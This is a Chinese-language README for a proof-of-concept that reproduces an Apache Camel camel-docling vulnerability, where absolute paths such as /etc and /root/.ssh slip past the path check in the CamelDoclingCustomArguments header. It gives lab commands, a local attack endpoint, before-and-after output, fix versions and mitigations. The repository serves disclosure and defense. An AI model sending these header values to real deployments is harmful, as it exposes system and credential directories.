validatePathSafety 未拒绝绝对路径(CVE-2026-40047 的不完整修复)针对 Apache Camel 漏洞的可运行概念验证复现程序,该漏洞源于 CVE-2026-40047 的修复所引入的自定义参数路径检查仅查找相对路径遍历。它会拒绝包含 ../ 的值,以及规范化后仍含有 .. 元素的值——但它从未检查某个值是否为绝对路径,而不含遍历段的绝对路径两者皆无。
| 运行时 | 目录 | 技术栈 |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-docling 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0(Quarkus 3.39.0,Camel 4.22.0) |
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
在受影响的构建上输出(两个运行时上完全相同):
1) A relative traversal value, which the CVE-2026-40047 fix does reject
header CamelDoclingCustomArguments = [--artifacts-path, ../../../../etc]
REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 contains a relative path traversal sequence
2) Traversal hidden behind redundant separators - also rejected (normalized first)
header CamelDoclingCustomArguments = [--artifacts-path, models/./../../../../etc]
REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 contains a relative path traversal sequence
3) An ABSOLUTE path, which contains no traversal sequence at all
header CamelDoclingCustomArguments = [--artifacts-path, /etc]
argv docling received: --artifacts-path /etc --to md --ocr-lang en --output /tmp/docling-... /tmp/docling-.../docling-....tmp
4) The same, attached to the flag after an equals sign
header CamelDoclingCustomArguments = [--artifacts-path=/root/.ssh]
argv docling received: --artifacts-path=/root/.ssh --to md --ocr-lang en --output /tmp/docling-... /tmp/docling-.../docling-....tmp
>>> PROVEN: ...
探针 1 和 2 表明 CVE-2026-40047 的修复已生效。探针 3 和 4 则暴露了缺口:该标志位于该修复的允许列表中(--artifacts-path 告诉 docling 在哪里找到其模型工件),而值在两种参数形式下都能顺利通过——一种是跟在标志后面的独立列表元素,另一种是附加在 = 之后。因此,能够选择自定义参数的一方可以将 docling 进程指向 Camel 进程可访问的任意目录,而该目录位于检查本应限制路径值的工作目录之外,这正是先前修复旨在防止的结果。
无需安装 docling。缺陷存在于 Camel 构建的命令行中,因此端点的 doclingCommand 选项指向一个记录型 CLI 替身,该替身将其接收到的参数向量写入文件。真实的 DoclingProducer、真实的 validateCustomArguments() 和真实的 validatePathSafety() 都会运行;只有外部工具被替换。
只有 CLI 模式(默认模式)会将自定义参数传递给 docling。
CamelDoclingCustomArguments 属于 Camel 头命名空间,应用 Camel 默认头过滤的消费者——例如 JMS 和 Kafka 消费者——会从传入消息中剥离该命名空间。因此,该问题出现在路由将外部影响的值转发到头中,或者消费者在没有该过滤的情况下映射传入头的地方。
| 属性 | 值 |
|---|---|
| 组件 | camel-docling (DoclingProducer.validatePathSafety()) |
| CWE | CWE-22(对路径名的限制不恰当,导致受限目录访问) |
| 严重性 | 中 |
| 攻击向量 | 在 CamelDoclingCustomArguments 中,将绝对路径作为允许列表中的类路径标志的值 |
| 影响 | 将 docling 进程指向 Camel 进程可访问的任意目录 |
| 受影响版本 | 从 4.15.0 到 4.18.5 之前,从 4.19.0 到 4.22.2 之前 |
| 修复版本 | 4.18.5、4.22.2、4.23.0 |
| JIRA | CAMEL-24893 |
| 致谢 | Zhixi "Jace" Sun,独立安全研究员 |
公告:https://camel.apache.org/security/CVE-2026-95628.html
相关:这是 CVE-2026-40047 的不完整修复,同一组件的输出路径头是 CVE-2026-95629。
validatePathSafety 现在还会拒绝类路径自定义参数值为绝对路径的情况,并以 IllegalArgumentException 使交换失败,提示该参数不得为绝对路径。由于该检查位于验证每个类路径值的共享辅助函数中,两种参数形式都得到了覆盖。
已在 main 上通过 apache/camel#26738(fd3bc8e7)修复,并向后移植到 camel-4.22.x 的 #26743(e9233c37)和 camel-4.18.x 的 #26744(59d30af1)。
将 camel.version 设置为 4.22.2 并再次运行。已针对 4.22.1 → 4.22.2 验证:
3) An ABSOLUTE path, which contains no traversal sequence at all
REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 must not be an absolute path
4) The same, attached to the flag after an equals sign
REJECTED by Camel: IllegalArgumentException: Custom argument at index 0 must not be an absolute path
>>> NOT reproduced: the absolute path was rejected too.
不要使用来自部署外部来源的值来构建 CamelDoclingCustomArguments;在来自外部的消息到达 docling 端点之前,从这些消息中剥离该
header;并确保映射传入 header 的消费者丢弃 Camel header 命名空间,从而只有路由才能选择自定义参数。
本仓库出于教育和防御目的发布:帮助 Apache Camel 用户了解该漏洞、验证自身是否受影响,并确认升级能够解决该问题。请勿将本 材料用于您不拥有或运营的系统。